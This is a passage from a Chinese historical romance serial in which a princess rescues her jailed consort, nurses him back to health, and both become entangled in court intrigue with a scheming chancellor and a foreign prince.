朝宁向朝渊行了礼,冷冷开口,“父皇一向赏罚分明,驸马与左相并为朝廷栋梁,却因莫须有罪名受尽酷刑,儿臣想左相大人,应受同等刑罚。”
杜仕远骇然叩首:“陛下,老臣一把年龄,怎堪...”
“左相既年事已高,”朝宁截断话语,“便请令郎代父受刑。”
“陛下!犬子今年不满十八,受不得罚呀!”
“那驸马便应当受罚吗?”朝宁语气锋利,“父皇,若左相不肯舍子,那便由左相自己承担。”
朝渊静默良久,终于开口:“左相确实年岁大了,准其子代刑,念其年幼,杖责十板。”
杜仕远咽下喉间血腥,低头谢恩。
帝王目光转向朝宁:“颐宁,朕罚你半年俸禄。往后不得再任性妄为。”
“儿臣遵旨。”朝宁她唇角微扬。
朝渊挥挥手,“你们退下吧!”<
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殿中只剩下,皇帝、太子和她,她紧绷的面容倏然绽开笑意:“多谢父皇配合,还有太子皇兄!”
朝宁所说的什么“口”字完全都是瞎扯,笔迹模仿得确实无误,只是她赌对了,父皇还是舍不下贺砚知这个臣子,也愿意相信贺砚知,出了这个计谋,让宋朝贵自爆出局。
而她拿的那封,正是贺砚知交给她,那封让她安心的书信夹层中,一切都是事先想好的安排。
朝渊无奈,“你呀你!怎么能胡闹地去闯大牢呢!伤到没有?”
朝宁背着手,既娇嗔又带着几分自信,“父皇又不知道我的身法,那些狱卒伤得了我吗?若不是我闯进去,贺砚知恐怕真有死里面了。”
朝渊叹了口气,“朕怎么不知道砚知的为人,朕虽然老了,但是有些事还是看得清楚。”他没有继续说,身为皇帝总是有些迫不得已的无奈。
“父皇,儿臣知道了,儿臣也替贺砚知谢过父皇。”
“你们也都下去吧。”
朝宁跟着朝珩一起走出殿中,并排而行。
朝珩弹了一下她的脑袋,“皇兄怎么也没想到,你还敢硬闯大牢了,皇兄已经派了人去,你又何必冒着个险。”
下午的夕阳很足,照满了宫墙大院,也迎着朝宁的笑脸,“总归要去,也算是给那个杜老头一个教训!早就看他不顺眼。”
朝珩笑出声,“恐怕,是担心你的驸马吧。”
朝宁立刻出口否认,“怎么可能,我只是怕...怕他影响到我的名誉,而且刚成亲,他也不能真死了吧...”
朝珩假装不可思议,“倒是头一回听说,我这妹妹注意自己名誉了。”
“....”
朝宁推了推他,“皇兄你真没意思。”
“好了,不逗你了。”两人走出了宫门,朝珩先上了马车,“赶快去看看你的驸马吧。”
朝宁步出大殿时,霞光正染透宫墙。她抬手轻触微烫的面颊。
莲心见了朝宁出来满心欢喜,“殿下,没事了吧。”
“没事,就罚了我半年俸禄。”她从小捣蛋又不是没被罚过,只是她父皇平时送到她手里的东西,不知道比俸禄高出多少,对于她来说不是什么惩罚。
...但是他就有些就惨了...
杜仕远踏出宫门时面色铁青,像是一只吃人的老虎,从宫门后出来。
朝宁翩然迎上前:“哟,相爷的头没事吧,一大把年纪了,怪我动手没有轻重。回去记得备好大夫,板子打下去要及时止血的,免得伤了根本。”
“殿下年少气盛,”杜仕远声如磨砂,“有些事终究要还的。”
朝宁忽抬手重拍他肩伤处!杜仕远猝不及防痛弯了腰。
“十大板实在太轻,”她俯身耳语,“贺砚知的伤...我还没开始讨呢,相爷晚上多注意点...”
朝宁留下一个嘲讽的笑容,转身上了马车,帘落时瞥见杜仕远捂肩踉跄的模样,心情愈发舒畅。
路过一个卖糖的铺子,又特意让莲心买了满满一大包陈皮糖。
到了府中,朝宁赶到了卧房门口,她把贺砚知救出来就直接进了宫,还不知道他伤势如何,太医正在诊治,朝宁也不好直接进去,索性在外面等了一会儿。
不多时,卧房的门推来了,梁蔗脸色十分不好,“殿下,请您进去一趟。”
26. 昏迷
朝宁怔了一瞬,推门而入,刘太医正俯身诊脉。
贺砚知静静躺着,苍白面容陷在锦枕中,浑身缠满纱布,外看着有些吓人。
“刘太医,他伤势如何?”朝宁认识他,是太医院的老人了。
“回殿下,大人本就风寒未愈,后又遭重刑,元气大伤,臣已开几味药调理,外伤也需要每日按时上药,只是今晚持续高热,必要时须尽量退热。”
朝宁颔首:“梁蔗,送太医。”
屋内只剩下朝宁,她叹了口气坐到榻边,将被子又往上拽了拽掖紧被角。
那包买来的陈皮糖被静静地放到床边,糖纸透出暖黄光泽。
不一会儿,梁蔗推门进来:“殿下,药方已配好。”
朝宁嗯了一声,“去熬药吧。”
“主子这边...”
“我在这儿。”
门扉轻合,寂静重新漫延。
朝宁有些无措地望着床上人,恍惚间又见七岁那年深夜,她偷溜进慈宁宫见到的皇祖母,也是这般苍白地躺在重重锦被间,任她怎么唤都睁不开眼。
每每想起那个画面,她的心口被用力揪紧,眼眶泛起酸涩。
她凝神看向贺砚知,鼻梁可见细小的血痕,薄唇干裂,掌心覆上额头时,那热度烫得她指尖微颤。
想起莲心平日照料自己的情形,拿起帕子放在水里浸湿。
回到床边,她顿了顿,还是将帕子展开,仔细将血痕擦拭干净。
第一次为人擦拭,朝宁尽量控制的力度,即使床上的人还是昏睡中。
帕子掠过唇边,贺砚知突然动了动,嘴唇微微张开。
“贺砚知?”朝宁低唤。
可他没有要醒的迹象,她身子微倾,耳畔靠近他的脸。
“朝宁...”
她的名字?
朝宁猝然直起身,不可思议地眨了眨眼睛,忽然想起,救他出来时,似乎也曾听见这般唤她。
相识至今,这竟是第一次听他唤她的名,还是在昏迷中。
心口泛起奇异的感觉...
他呓语几声便没了反应,朝宁看着他那干裂的嘴唇,起身倒了一杯水一点一点润湿,只是喝不下去水,大多数都顺着嘴角流了下去。
朝宁一手拿着茶杯一手还要拿帕子及时擦掉嘴角滑落的水珠。
她第一次觉得自己那么有耐心。
就这么守了他两个时辰,窗外天色已昏沉如墨,贺砚知丝毫没有要醒的迹象,所幸他不继续发热了,也不枉费她守在床边,反复换洗帕子。
莲心轻推门扉,对朝宁轻声道,“殿下,您一直没进食,吃点东西吧。”
她来了好几回,但是公主一直推辞,莲心也担心这么下去,驸马没醒,公主的身子也熬坏了。
朝宁又摸了贺砚知的额头温度,终于松口气:“传膳吧,就在这儿用。”她望向榻上人,“万一醒了呢。”
莲心端着一盘清淡的菜肴和一碗清粥,放于桌前,“殿下,奴婢再给您做些其他吃食吧。”公主嘱咐只要这些清淡的,可莲心还是不忍。
“不必了。”今日一天朝宁都没有休息,去矿山、闯大牢、殿前对峙,又在床边守了几个时辰,热粥入腹时竟觉出奇慰藉。
“殿下,您早点休息,让奴婢们守着吧。”
“不用,或许一会儿就醒了。”朝宁轻描淡写地道。
莲心也未见过公主那么在乎一个人,“那殿下您有事一定要喊奴婢,奴婢守在外面。”
“天凉了,”朝宁轻拍她手背,“你若染风寒,反叫我分心。”
莲心鼻尖一酸,明明是千金之躯,却最懂体恤旁人。
朝宁饮尽最后一口粥:“好了好了,回去歇着吧。”
“是,殿下。”
莲心出门时,正碰到了推门而来的梁蔗,风尘仆仆,带着些许凉意。
朝宁抬眸:“都安排妥了?”
“是殿下,整个执金吾所有与柳韦相关的人都被清理出去,矿山那边,太子殿下下令封锁,短时间应该不会有人靠近矿山。”梁蔗熟练地做好朝宁安排给他的工作,不过两天,他快变成了朝宁的手下。
朝宁点点头又问道,“矿山遇难人员统计好了吗?”
梁蔗拿出名册,纸页密密麻麻的名字如针刺目,原本都是一条条的生命,却因为政治斗争,丧失了活下去的希望。
她将名册递回:“去找莲心,从公主府拨出银两按照名单,交到他们家人的手中,再命人妥善安置。”
这些遇难家属,朝廷会给补助,但朝宁还是想再给出去一份。
“记住,分发银两时,以朝廷的名义不要提及我。”朝宁一向不喜欢这些虚名,既然坏名声已经坐下,又何须这些。
梁蔗迟疑:“殿下为何要如此做...”
“梁蔗,”朝宁忽然抬眼,“你家主子没有说过,你的话太多了吗?”
梁蔗一噎,“属下失言,即刻去办。”
“对了,把贺砚知的药热好再端过来,人应该也快醒了。”
待梁蔗退去,朝宁又坐回床边仔细打量,贺砚知面色已褪去死灰,嘴唇被她几番喂水也不再干裂。
不过...
朝宁一直忙着照顾发热的贺砚知,这下才腾出空来,好好看着眼前人。
眉眼是好看,不得不承认比她见过的大部分男子都好看,鼻梁...也还不错,就是多了一道不深的痕迹,应该过几日就会消了吧。
鬼使神差地,她伸出指尖轻点他鼻尖,又轻轻掐了他左侧的脸,温热的触感让她想起逗弄的小狗。
这般任人摆弄的贺砚知实在千载难逢,她索性倾身向前,去抓他右边的脸颊,双手一起轻轻地捏住...
身下人不知何时动了一下,缓缓睁开眼,气若游丝,“殿下,这是要掐死我吗...”
朝宁被吓了一跳,捏着脸颊的双手下意识地收回,慌乱间,抬起的头狠狠砸在了贺砚知的胸口,正是包扎好的伤口处。
听到贺砚知一声闷哼,朝宁猛地坐直身子,烛光中不合时宜的红晕浮上她的耳夹。
朝宁对上他的眼睛,又一阵心虚...
早不醒晚不醒,偏偏要这时
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候醒。
贺砚知缓过气来,迷茫地望着锦帐顶:“我怎么从牢里出来...”
“本公主单枪匹马杀进大牢救的你。”朝宁故意板起脸,“我再晚来一会儿,你怕是要死在里面了。”
贺砚知忽然轻笑:“原来不是梦...”气息牵动伤口,疼得蹙眉却仍扬着唇角,“我好像看见...殿下扶我出地牢...我以为那是梦。”
“别想了。”朝宁习惯性又摸下贺砚知的额头,轻声嘀咕,“没那么烫了...”
“在这儿等着,我去看看,醒来就该吃药了。”说着朝宁便要起身而出。
衣袖忽被轻轻扯住,贺砚知苍白的指节攥着她绯红袖角,声音微弱:“不想喝药...”
朝宁无奈地笑出声,“贺砚知,你是小孩子吗?耍赖不喝药?”
“你在这儿坐着...”贺砚知眼神不离开朝宁半步,“在这儿陪着我好不好...”
“....”朝宁欲言又止,终是坐回榻边。
烛光在她眼底漾开罕见的温柔:“我在这儿陪你有用?你还是要喝药的。”
她指向桌上摆着的那包鼓鼓的陈皮糖:“我特意买的,喝药绝对不苦...”
话音未落,忽觉指尖一凉。贺砚知苍白的手轻轻覆上她手背,久病之人的体温冷得让她心头一颤。
“见到殿下,”他声音微弱却清晰,“便觉安心。”
朝宁突然想到在大牢时,看到奄奄一息的贺砚知,他一向体弱,哪里没受过如此大刑。
她另一只手轻拍他手背,“父皇赏了杜仕远那傻儿子十大板子,至于剩下的,来日定向那杜仕远讨个清楚。”
朝宁眼神坚定,“你是我的驸马,欺负你不就是在挑衅我?打狗还要看主人呢...”
“....”
“不对!”她倏然住口,“我是说...”
支吾半晌索性放弃,转而正色道,“你好好养伤,矿山的事情都已经解决了,杜仕远弃车保帅,损了柳韦和工部的人,父皇下了命令,执金吾归你管辖,日后矿务也归你管辖,你这也算是因祸得福?”
贺砚知目光始终未离她分毫:“多谢殿下,帮我证明清白。”
“本公主说过,”朝宁故作轻松地摆弄袖口,“你若入狱,我心情好时或许会劫个牢。”
烛火摇曳映得他眼底幽深如潭,那目光烫得她心头发慌。
“我还是去看看药吧...”
门砰地被撞开,梁蔗端着药碗风风火火冲进来。
迎面撞见主子已然清醒,而公主正幽幽瞪着他,他似乎来得不是时候?
他硬着头皮将药碗捧到榻前:“主子!您竟醒得这般快...”
朝宁无语地接过药碗,“既端来了,便快些喝罢。”
贺砚知被扶着坐了起来,问梁蔗,“这么快?”
梁蔗老实点头:“太医说您恐要昏睡整晚,殿下守了两个时辰,若主子不醒...”
朝宁抬脚轻踹梁蔗小腿,真的多嘴!
却听榻上传来低笑:“殿下果真守了我两个时辰?”
27. 甜,很甜
朝宁眼神躲闪,纤长的睫毛在烛光下投下一片阴影,“少自作多情,本公主丢了半年俸禄救出来,若死了岂非血本无归?”
她偏头避开视线,却听见他带着愉悦的轻笑声:“自然要将这半年俸禄给殿下补回来。”
“梁蔗,吩咐下去,将府内所有产业交予公主掌管。”
一语惊得满室寂然。
“喂!”朝宁她扬起下巴,指尖轻戳他未受伤的肩侧,“我一个公主,需要你这点家产?你莫不是看不起我。”
“岂敢,晚些时梁蔗会将账簿给到殿下,殿下看过后再决定?”
看着贺砚知那双眼睛,朝宁也有些看不懂,不过他既然愿意交出,看看又何妨...
“你既然这么说,可别后悔。”她强作镇定地移开视线。
“交给殿下,”贺砚知轻笑,“自然不后悔。”
梁蔗垂首立在一侧,满腹惊涛骇浪,家产?全部?若不是公主在旁,他真的想立刻找大夫好好看一下,他家主子难道头坏了?
正恍惚间,忽对上贺砚知扫来的目光。
“属下...这就退下。”梁蔗咽下满腹疑惑,退至门边时,余光瞥见自家主子望向公主的眼神,温柔得几乎能滴出水来。
门扉轻合,室内只剩两人,药气氤氲升腾,模糊了朝宁微红的面容。
“话说了这么多,人也走了,药还不喝?”朝宁放到了贺砚知面前。
贺砚知皱着眉头丝毫没有要动的意思。
“药真的有那么苦吗?”她用勺子搅动着黑色的汤药,药味扑鼻而来...
好吧,是有点苦...
“喝吧,喝了给你糖吃,就没有那么苦了。”朝宁感觉自己在哄一个不大的孩子。
“你喂我喝。”
“....”
朝宁微眯着眼睛,带着威胁的意味,“别得寸进尺,你...”
她话没说完,就见贺砚知慢慢抬起手,“手很痛,没有力气。”
他的手腕上依稀可见很多勒住的红色印记,不过是半天,依然可怖。
朝宁心头一软,大牢中他被铁链束缚,浑身是血的模样再度浮现,“好吧。”又不是没喂过,再喂他一回又何妨。
她舀了一勺汤药,这回不似上次那么笨拙,放在嘴边吹了吹,递到了贺砚知的嘴边。
朝宁看着他咽下那口药,苍白的脸瞬间皱成一团,模样有几分滑稽。
“很苦吗?”她明知故问。
贺砚知闭着眼勉强地点点头,再睁眼时却见眼前递来一方素帕,上面托着枚琥珀色的陈皮糖。
朝宁笑盈盈捏着糖,隐约露出尖尖虎牙:“吃糖。”
贺砚知怔了一下,拿起那颗糖,放在了嘴里,酸甜的味道顺着口流向了心底。
“甜,很甜...”
朝宁又舀起一勺药:“甜就继续喝,药一定要喝完。”
一勺一颗糖,待第五颗糖融化时药碗已空。朝宁感叹自己如此有耐心,又好笑这么大的人竟然如此怕苦。
烛光在他深邃眸中流转,他仍静静望着她。
“饿了吗?”她忍不住问。
朝宁疑惑地伸手搭上他的额头,“不是很烫呀。”
话音未落,一股力道突然将她拽入怀中。朝宁惊呼一声,整个人跌进贺砚知的胸膛。隔着单薄的衣衫,她能清晰地感受到他有力的心跳。
出事的前一天晚上,噩梦初醒,也是如同今天这般被他抱着,莫名安心,或许,他如同她一般,想汲取一些安慰。
静谧的室内,只有彼此的呼吸声交织,朝宁鬼使神差地伸出手,轻轻抚上他的后背,此时无声却又胜过千言。
贺砚知身上的伤口都被缠着,刚才如此大力地将她拉到怀里,好像正压在了他的伤口处,朝宁眼看着,那布上印出了血红。
“好了。”她忽然摸到纱布渗出的湿热,慌忙挣开,“伤口裂了!”
抬眼却撞进他眸中从未有过的炽热,烫得她心口发慌。
朝宁感到一阵莫名的慌乱,她不能继续待了...
“一天未吃东西,我去给你拿点吃食。”她匆忙起身。
贺砚知目光随着落在了她的衣裙上,虽然是红衣仔细却能看到上面有着不少干涸的血渍。
她一直守在这儿,连衣服也没有换过,几个时辰,都守在这儿...
“...殿下。”想要开口叫出的名字却又收回,“让梁蔗去做吧,今日已经很累了。”
朝宁一怔,意外他会如此说。
她慌忙地转移话题,打趣道:“贺砚知,你真是糊涂了,你在这里躺着,让我去哪休息?”
“我会让人在收拾出一个客房,委屈殿下了。”
“也罢。”她故意板起脸,“照顾病秧子确实累人。若明日还不好——”指尖虚点他鼻尖,“一天灌你八回苦药。”
“好,都听殿下的。”
朝宁颔首退出卧房。天色已黑,阵阵凉风吹拂在脸上,散了一些刚刚脸上的热意,她也有些意外贺砚知的转变,从前何时像现在那般听话。
她驻足廊下,望见院中桂花树影摇曳,朝宁找到了一个合适的解释。
闯了大牢救他,还为他翻案,简直就是恩人般的存在,况且两人现在是夫妻身份,低头不见抬头见,总不能像以前那么针锋相对。
“或许...”她轻声自语,“也该对他好些。”
梁蔗从院外回来,见朝宁怔怔立在廊下,不由问道:“殿下,主子他?”
朝宁回过神:“贺砚知饿了,你去给厨房给他拿点吃的。”顿了顿又道,“记得把账本送来。”
“...是。”
朝宁住进了另一个院落,客房不少,但贺砚知宁愿冻成风寒还要睡在书房,真是个不折不扣的傻子。
莲心给她烧了水,沐浴后,她才感受到了累意,连日紧绷的心弦终于松弛,很快就睡下了。
与此同时,贺砚知的卧房内。
梁蔗端着饭菜进屋时,贺砚知已倚在榻边,他将饭菜放到桌上。烛光映着他恢复锐利的眼神,哪还有半分方才的温软模样。
还是现在顺眼一点,梁蔗实在难以想象主子柔情似水的模样,想想便毛骨悚然。
贺砚知见他的样子,皱眉,“发什么呆,你也发烧了?”
梁蔗颤了颤,连忙半跪在地下,“主子,公主殿下吩咐已经将执金吾的人全部都换了遍,另外,矿山那边也安排了自己人,绝对不会给他人反扑机会。”
贺砚知微微颔首,“杜仕远联合绥丹,却反被摩什摆了一道,继续盯紧杜府。太子会跟进调查,将备好的证据逐步放出,把这潭浑水彻底泼向杜家。”
“是!”梁蔗起身时瞥见他襟前洇出的血痕,原来再厉害的人也会脆弱至此,终究忍不住开口,“主子,计划周全,您何必要把自己弄成如此?”
贺砚知低头,眼神冰冷扫过自己浑身被包扎的伤口,“这样的伤对于我来说习以为常,他们两人就这么内斗有什么意思,绥丹本就想对我动手,不如借他们攫取最大利益。”
“那...”梁蔗问出了最想问的问题,“您当真笃定公主会去救您吗?”
话出,贺砚知一时间沉默,此次事件,每一步他都算好了,无论是故意将调查视线引到火药,又散出那封调令,认准杜仕远会恼羞成怒,在刑部逼他用刑,每一步都在他掌控之中。
他送
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出去的那封信,认准她会发现其中奥秘,所以他不急,本打算在大牢多受几日苦,让这场戏更有价值。唯有伤得够重,等到真相大白,才能让皇帝更加信任他,放心将权力交到他手中。
贺砚知算好了一切,但是没想到朝宁会去硬闯大牢救他,在他意识消散前,他模糊看到了那一红色身影,好似伴着光落到了他的面前。
愉悦、开心,这是贺砚知当时确认的,而今睁眼看到她劳累身影,却又心虚利用了她。
梁蔗迟迟没等到答案,惴惴不安地垂首,他跟着公主这段时间,是真的由衷佩服她,一个本应养在深闺的公主,如此有胆识有谋略,可心底却又不自觉涌上一丝愧悔。
他悄悄抬眼,见主子罕见地失神望着跳动的烛火,他不傻,怎会看不出两人之间的生出的情愫,可正因明白,他便更加担忧。
于他家主子来说,作为贺砚知,他本不应该和公主走在一起的...
“才两日不随我,就不把我放在眼里了?”他冷冷开口打断梁蔗的胡思乱想。
梁蔗连连摇头,“属下对主子忠心耿耿!”
“那你现在想饿死我吗?”
梁蔗这才想起来,自己进来时端着的饭菜,手忙脚乱地将饭菜递到了贺砚知的面前。
-
京中一处偏僻的荒宅里。
几方黑衣人,落座在屋内,里面只点了一个微弱的蜡烛。
杜仕远神色狼狈,脸上可见在大牢里嗑得有些淤青的额角,他只能强压怒气,“你如今满意了?炸了矿,反将这么大一笔油水和执金吾转手到了贺砚知的身上!”
摩什张扬的眉眼带着讥讽,“这事不是你这位左相大人无能吗?先是让人上了我们的船,又没抓住弄死贺砚知最好的机会,空有这左相名号!”
杜仕远身旁侍卫拔刀相向,绥丹人也立刻抽刀。剑拔弩张。
“你难道没想过炸了矿,彻底毁了这条商路的后果吗?”
摩什冷笑着将脚踩上椅面:“相爷不会天真以为我只有你这一条路吗?”
他忽然俯身逼近,“反倒是你...除了我们,还有别路可选吗?皇帝不信你,你便一天比一天难行,你那些引以为傲的权利,会被一点点蚕食。最终等待你的,只有死路一条。”
杜仕远没有说话,几十年的尊严仿佛在这一刻溃不成军,他所看不起的贺砚知,只使了一出苦肉计,便将自己陷入僵局。
他满是皱纹浑浊的眼睛,看着面前阴险毒辣的摩什,他这个疯子掌握了太多,现如今和他、和绥丹发生冲突,只会让自己处境更糟糕。
“王子既承认我们的盟友关系”,杜仕远终是缓下声调,“自当一致对外,内斗只会让旁人得利。”
摩什嘴角勾起一抹冷笑,“如此想便再好不过了,贺砚知是一定要除掉的,想必相爷也对他恨之入骨,既然目标一致,便请相爷全力助我铺路。”
两方眼神交汇,杜仕远当然听出摩什话中意味,分明让整个杜府完全听命于他。
“当然...”杜仕远牙关紧咬,“目标一致,理应互相协助。”
摩什出言打断,“不是互相,是你助我,选择权在我手里。”
屋内蜡烛燃尽,黑暗吞噬了杜仕远眼中翻涌的怒意。
摩什懒得与他再说,“来人,将左相大人安全地送回府。”
待脚步声远去,格吉尔低声问:“他真会听话?”
“若没二心,便不是杜仕远了。”摩什冷笑,“在大夏作威数十年的老狐狸,如今只能攀着我们求生,今日这顿敲打,够他安分些时日了。”
摩什起身走到院中,外面星辰稀稀,残月悬在空中,“时间快到了,都安排妥当了?”
28. 折船
一连好几天,京中平静了不少。
反倒是朝宁忙了不少,贺砚知病了好几天,御医反反复复,不见好转。
她一个公主却要忙前忙后,比如现在贺砚知躺在床上悠闲,等着她喂药。
梁蔗站在一侧,也不敢言语,暗暗觉得公主会随时发火。
“手又没断,不会自己喝?”朝宁感觉贺砚知在挑战自己的底线。
贺砚知无辜地抬起自己的手,“手腕太疼了,现在连笔都抬不起来了。”
朝宁眸光倏地扫向梁蔗:“你不是他贴身侍卫吗?你手也伤了吗?”
梁蔗顿觉一道锐利目光刺来,慌忙躬身:“殿下,主子积压的公文还需紧急处理...”
话音未落已疾退三步,“属下先行告退!”
门扇吱呀作响,带起一阵凉风。
朝宁回身,贺砚知已经“乖巧”地等着她,“麻烦殿下了。”
朝宁忍住把药扣在他脑子上的冲动,不情不愿地将药递到他嘴边。
现在正午时分,阳光充足,贺砚知的脸依旧苍白,他乖乖地将咽下药,依旧还是怕苦的表情,朝宁颇为熟练地拿起糖递给他。
生病没几天,糖却是越买越多。
朝宁直接派人将糖铺的陈皮糖全部包了个圆,打包送进贺砚知的屋子里,所以房内苦涩的药味中还有一丝甜味。
“刘太医年岁大了,”朝宁拧眉嘀咕,“连这等小病都治不利索。”
贺砚知眼中带着笑意,“殿下,这话要是刘太医听见,怕要伤心了。”
朝宁睨了他一眼,生气地将勺子摔在碗边发出清脆的响声,“本就如此!躺了这些天,药灌了一碗又一碗,病势倒不见轻!”
“殿下是嫌喂药麻烦...”他忽然倾身,目光灼灼,“还是在担心我?”
朝宁被那眼神烫得耳尖一热,话到嘴边转了个弯:“自然是嫌你碍事。”
“本公主认床,在客房总睡不安稳。你快些好,我也好搬回来。”
“殿下现在便可搬回来,”贺砚知眼中噙着笑,“这样既能安眠,又能时时照看我的伤势。”
“贺砚知!你如今倒是越发没规矩了!”朝宁动手去揪他耳朵。
见公主真要恼了,贺砚知忙垂首:“我错了。”适可而止的道理他自然明白——若真将人惹急了,恐怕连这屋子都不进了,更别说喂药了。
他将话题一转,“殿下,可对过账目了?”
朝宁眼睛倏地亮起,下意识拍他肩膀:“贺砚知,没想到你家底是真厚啊。”
自梁蔗将账册呈到她面前,她便连着翻看了好几日,越看越是惊讶。除了府中现银,田庄、商铺更是数不胜数。虽说她自幼便有封地,但除了俸禄和赏赐,从未置办过产业——无他,实在懒得费心打理,有这工夫不如多练练功夫。
但是,贺砚知这个就不一样了,不用自己从头开始管理,每笔账目清清楚楚,无需她劳神费力,即是白给,自然乐得收下。
“公主满意否?”
朝宁一时忘记,又朝他胳膊上拍去,却听他倒吸一口凉气。
她猛然想起这人还浑身是伤,慌忙缩回手干笑两声:“满意,自然满意。贺大人好好养伤,日后继续为本公主挣家业。”
贺砚知捂着伤处苦笑,朝书桌方向抬了抬下巴。
朝宁顺着视线看去,厚厚地一摞奏折,整整齐齐摆在桌上。
“递到御前的折子,怎么会在你这儿?”她眉头微蹙。
贺砚知颇为苦涩,“是陛下派人送过来的,说是让我看过处理。”
“什么折子呀?那么重要吗?你伤还没好。”朝宁边说边走到书桌前。
贺砚知还未复职,父皇就把这奏折送进府来,明摆着是让她自行处理掉。
她随手拿起最上面那本,翻了两页便狠狠掷在地上,接着是第二本、第三本……最后所有奏折都被她掀翻在地。
“果然是一群老匹夫!”朝宁冷笑,“不过闯了趟大牢救你,他们就坐不住了。”
她一脚踩在了那些倒在地上的折子,大摇大摆走到床边,居高临下地睨着他:“贺大人,参我的折子都送到你跟前了,打算怎么处置?”
贺砚知眸光温软,“都依着殿下想法。”
“呵,”她阴阳怪气地扯了扯嘴角,“这事儿贺大人不是最拿手吗?当年参我的折子,怕是比这堆还高吧?早知如此,本公主就不该救你。”
贺砚知看了一眼那凌乱的折子,“是我有眼无珠,误会了殿下,给殿下赔罪了。”
迎着他的话,朝宁高傲地扬起下巴,“本公主也不是那小气人,说说吧,这事怎么解决?”
贺砚知目光转向窗外,忽然道:“明日……便是归宁节了吧?”
朝宁一愣,算着时间确实是明日,这段时间忙得昏天黑地,她都忘了归宁节和那日乐宴坊南灵,但是她目前不想与他提这事。
“归宁节和折子有什么关系?”朝宁反问道。
贺砚知不急不缓:“听闻归宁节放的花船最是灵验,许下的心愿都能实现。”
“你竟信这些?”朝宁话音未落,就听他道出更惊人的提议:“不如将这些恼人的折子拆了折成纸船,今夜便去放花灯。”
朝宁停顿了一下,又抚上他的额头,“没发热,怎么开始说胡话了?”
贺砚知眼尾微挑,“殿下不敢?”
“哼!笑话,有什么是本公主不敢的!倒是你,折子凭空没了,这可欺君之罪!”
温热的掌心忽然覆上她的手背,将她的手轻轻拉下。“陛下既说全权交由我处理...”
他指尖在她腕间似有若无地摩挲,“而我既是殿下的驸马,自然...唯殿下是从。”
朝宁的手还被拉着,掌心的温度却让她的脸颊变红。
好似发热得变成她了。
朝宁尽量躲避他的眼神,故作无畏,“既然我处理便拿来放花船吧。”
“好,都听殿下的。”他温润的嗓音像羽毛一片一片擦过她的耳畔。
朝宁更加得不自在,想要站起来,才察觉到自己的手一直在被握着。
她慌忙抽身而起,“折花船便折吧,今晚我就要放,你自己想办法。”
随后,一溜烟地跑出去。
贺砚知嘴角不自觉地浮上笑容,心情大好。
就是有些人...不太好了。
梁蔗苦命地坐在地上,将折子上一页一页纸撕下来,又要折成纸船模样。
他从未想到,原本动刀动抢的手,现在却要坐在地上苦命折着纸船,他越来越不懂他们家主子了。
而贺砚知斜倚在床榻上,不能喝药的手正翻着梁蔗带回来的消息。
上面记载着接手之后执金吾的情况,贺砚知虽位居右相,可本就是个没有太多权利的文官,只是没人发觉他暗自埋下的钉子,毕竟在所有人眼中,他只是一个少年得势,不近人情的小儿。
而现在杜仕远还未死心,几次三番想将人塞进来,都被不动声色地挡了回去。
剩下的便是这几日朝堂的动向,归宁节本是民间佳节,近年却渐受朝廷重视。归宁节皇帝有意出巡,与民同乐。恰逢矿山案闹得人心惶惶,此番安排,明为庆
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贺,实为安抚。
但朝堂之上,争执不下。
“陛下,归宁节乃民间盛事,正值民心浮动之际,若能御驾亲临,与民同乐,必能彰显圣德。”礼部尚书率先出列。
“臣附议。”数位大臣齐声应和。
杜仕远看准时机,适时上前,“启禀陛下,归宁节时京城人潮汹涌,御驾安危恐有隐患。按例当由执金吾全权负责,只是...”他故意顿了顿,“右相尚在养伤...”
殿内顿时响起窸窣议论,圣意已决,借归宁节安抚民心势在必行。只是杜仕远安排这一唱一和,就要抓住他贺砚知躲在府里不出来的时间。
龙椅上的皇帝眉头紧锁,往日的从容渐渐被烦躁取代,朝堂局势,似乎正一点点脱离掌控。这种失控感,正在侵蚀着帝王威严。
就在此时,太子朝珩稳步出列:“父皇,儿臣认为巡游利民固善,但安保更需万全。右相既在养伤,不如由儿臣暂代其职,必当周密部署。”
皇帝紧蹙的眉宇渐渐舒展,沉吟片刻后颔首道:“准太子所奏。”
事情安排好,朝渊急着退朝,而臣子们开始逐步退下。
朝珩刚踏出大殿,便见杜仕远负手立于廊下,显然等候多时。
“相爷可有事?”太子脚步未停,语气疏淡。
杜仕远堆着笑迎上前:“殿下,若儿在府中可还安好?”
两人视线交汇,朝珩故作讶异,“自然安好,不过相爷何出此言?莫非太子妃与相爷说了什么体己话?”
他故意顿了顿,“到底是亲生父女,有些话不便与孤说也是常理。”
“老臣不敢!”杜仕远后槽牙咬得生疼,面上却不得不挤出惶恐之色,“实在是...老臣膝下仅有两子,难免挂念。若有冒犯,还望殿下海涵。”
朝珩像是听了一个好笑的笑话,“相爷如此想女儿,太子妃竟未和本宫提过,府中事物繁忙,太子妃平时抽不出身,明日便让太子妃回府小住几日,与相爷团聚。”
字字诛心,却滴水不漏。朝珩唇角仍噙着笑,那笑意却未达眼底。杜仕远袖中的拳头攥得发白——明明自己是他的老丈人,却在他这儿讨不到一点好处,还几次三番与他作对,真不知道杜若是干什么吃的!
“老臣...谢殿下恩典。”他强压怒火躬身,“府中尚有要事,先行告退。”
“相爷请便。”
杜仕远逐渐走远,朝珩的笑意如潮水般褪去。
贺砚知合上最后一页纸,指尖在纸页上轻轻一叩,抬头梁蔗依旧坐在地上费力地折着花船。
“梁蔗。”他轻唤一声。
“主子!”梁蔗一个激灵跳起来,纸船撒了一地,“您吩咐?”
“太子殿下要用执金吾,人手可安排好?”
“安排好了!都是肃清后的精锐,武功底子干净!”
贺砚知微微颔首,“杜仕远必然不会放过这次机会,明日再另派人随时跟着,若生变故即刻出手,事后便称是执金吾新兵。
梁蔗犹豫道:“主子,要不要先知会太子?”
“不必。”贺砚知指尖轻敲床沿,“太子自有安排。若知道我们暗中加派人手,反倒不妥。”
“属下明白。”梁蔗眼珠一转,“那属下这就去调派人手——”转身就要开溜。
“站住。”
梁蔗僵在原地,缓缓回头。只见自家主子慢条斯理地抬起眼皮:“调人的事让别人去办。”他指了指满地纸船,“你的差事,是今晚之前把这些都折完。”
“...是。”梁蔗哭丧着脸,蔫头耷脑地坐回自己的“位置”。
29. 前夕
从房里出来后,朝宁便换了一身衣服,悄悄从后门出去了。
乐宴坊内外早已张灯结彩,朱红的灯笼沿街高挂,彩绸在檐角随风轻扬,连石阶都洒满了新摘的花瓣。
她压低头,随着熙攘的人群混入楼中。
